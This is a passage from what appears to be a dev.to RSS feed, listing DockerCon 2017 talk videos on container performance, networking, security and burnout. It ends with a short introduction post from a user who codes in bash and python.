&lt;p&gt;Container Performance Analysis&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=bK9A5ODIgac"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xr7KottW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/bK9A5ODIgac/0.jpg" alt="https://youtu.be/bK9A5ODIgac"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Troubleshooting Tips from a Docker Support Engineer&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=DK1ew1HpmeY"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ReaKf2Vn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/DK1ew1HpmeY/0.jpg" alt="https://youtu.be/DK1ew1HpmeY"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tricks of the Captains&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=stes90QH754"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eAx8y2MQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/stes90QH754/0.jpg" alt="https://youtu.be/stes90QH754"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unikernel Technologies&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=24rvIB4_v4U"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fxEPGW4b--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/24rvIB4_v4U/0.jpg" alt="https://youtu.be/24rvIB4_v4U"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Non-Technical&lt;/strong&gt;&lt;br&gt;
Learning to Take Care of Your SELF&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=1qthPiP4jEM"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0xfdKjTt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/1qthPiP4jEM/0.jpg" alt="https://youtu.be/1qthPiP4jEM"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Burnout&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=fYkI40AhV7o"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5dJhmi_v--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/fYkI40AhV7o/0.jpg" alt="https://youtu.be/fYkI40AhV7o"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Docker Networking: From Application-Plane to Data-Plane&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=EAQ-vr0XcPc"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0m45N0MX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/EAQ-vr0XcPc/0.jpg" alt="https://youtu.be/EAQ-vr0XcPc"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Deep Dive in Docker Overlay Networks&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=b3XDl0YsVsg"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--94CDFj4s--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/b3XDl0YsVsg/0.jpg" alt="https://youtu.be/b3XDl0YsVsg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cilium: Network and Application Security with BPF and XDP&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=ilKlmTDdFgk"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PnGD2Ea2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/ilKlmTDdFgk/0.jpg" alt="https://youtu.be/ilKlmTDdFgk"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Secure Substrate: Least Privilege Container Deployment&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=iHQCVFMBdCA"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iY_qh34---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/iHQCVFMBdCA/0.jpg" alt="https://youtu.be/iHQCVFMBdCA"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Introducing Linux Kit&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=FEtVxwsCUBY"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--j4maOxKH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/FEtVxwsCUBY/0.jpg" alt="https://youtu.be/FEtVxwsCUBY"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Building a Secure Docker Application&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=tjxkxVI_PVU"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--e6uXH1sL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/tjxkxVI_PVU/0.jpg" alt="https://youtu.be/tjxkxVI_PVU"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What Have Namespaces Done for You Lately?&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=MHv6cWjvQjM"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zlrB5XYp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/MHv6cWjvQjM/0.jpg" alt="https://youtu.be/MHv6cWjvQjM"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Securing Containers, One Patch At A Time&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=jZSs1RHwcqo"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QSCbY_o7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/jZSs1RHwcqo/0.jpg" alt="https://youtu.be/jZSs1RHwcqo"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Scaling App Defense for Container Environments&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=mOXBJLFM65s"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4cgfUoct--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/mOXBJLFM65s/0.jpg" alt="https://youtu.be/mOXBJLFM65s"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Docker Enterprise Edition: Building a Secure Supply Chain for the Enterprise&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=snsO_KoVlIU"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mWbQlgfn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/snsO_KoVlIU/0.jpg" alt="https://youtu.be/snsO_KoVlIU"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Securing the Software Supply Chain with TUF and Docker&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=SNge7-t4JRE"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2MWAnA8C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/SNge7-t4JRE/0.jpg" alt="https://youtu.be/SNge7-t4JRE"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Worth Reading&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.docker.com/2017/04/dockercon-2017-day-1-highlights/"&gt;https://blog.docker.com/2017/04/dockercon-2017-day-1-highlights/&lt;/a&gt;&lt;br&gt;
&lt;a href="https://blog.docker.com/2017/04/dockercon-2017-day-2-highlights/"&gt;https://blog.docker.com/2017/04/dockercon-2017-day-2-highlights/&lt;/a&gt;&lt;br&gt;
&lt;a href="https://blog.docker.com/2017/05/dockercon-2017-online-meetup-recap/"&gt;https://blog.docker.com/2017/05/dockercon-2017-online-meetup-recap/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>docker</category>
      <category>dockercon</category>
      <category>security</category>
    </item>
    <item>
      <title>Hi, I'm hardword</title>
      <dc:creator>hardword</dc:creator>
      <pubDate>Fri, 19 May 2017 02:27:08 +0000</pubDate>
      <link>https://dev.to/hardword/hi-im-hardword</link>
      <guid>https://dev.to/hardword/hi-im-hardword</guid>
      <description>&lt;p&gt;I have been coding for 0.5 years.&lt;/p&gt;

&lt;p&gt;You can find me on GitHub as &lt;a href="https://github.com/hardword" rel="noopener noreferrer"&gt;hardword&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I live in Bay.&lt;/p&gt;

&lt;p&gt;I work for $$&lt;/p&gt;

&lt;p&gt;I mostly program in these languages: bash, python.&lt;/p&gt;

&lt;p&gt;I am currently learning more about exploitation.&lt;/p&gt;

&lt;p&gt;Nice to meet you.&lt;/p&gt;

</description>
      <category>introduction</category>
    </item>
  </channel>
</rss>
